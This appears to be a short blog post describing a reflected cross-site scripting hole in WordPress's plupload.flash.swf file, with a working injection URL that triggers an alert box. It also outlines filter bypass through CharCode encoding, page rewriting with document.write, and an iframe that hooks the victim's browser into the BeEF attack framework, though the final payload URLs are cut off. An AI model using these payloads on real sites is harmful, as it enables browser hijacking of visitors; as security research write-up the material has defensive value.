Found the XSS injection point here:
http://webhost/wp-includes/js/plupload/plupload.flash.swf?id=
And got an initial alert box:
http://webhost/wp-includes/js/plupload/plupload.flash.swf?id=\%22%29%29;}catch%28c%29{alert%281%29;}//
(Which displays an alert box with a value of “1” – you cannot input [a-zA-Z] for some reason.
I bypassed that limitation using CharCode() encoding and got the standard alert box with [a-zA-Z] displaying. But I wanted to still try to take it a next step and get the browser hooked into BeEF.
http://
So, I thought of using a 'document.write' and encoding html tagging within that, or basically writing a new page to the browser. This writes a NEW page to the browser and contains a <script>alert(“XSS”)</script>
It’s like XSS within XSS!
Now with that POC, I encoded a new page with an iframe to redirect into my BeEF instance…Look at this string LOL.
http://
And Bingo! Browser is now hooked…We've defeated the WAF and created a dangerous XSS string!
Props to Uncle Jim's charcode decoder/encoder:
http://jdstiles.com/java/cct.html
This comment has been removed by the author.
ReplyDelete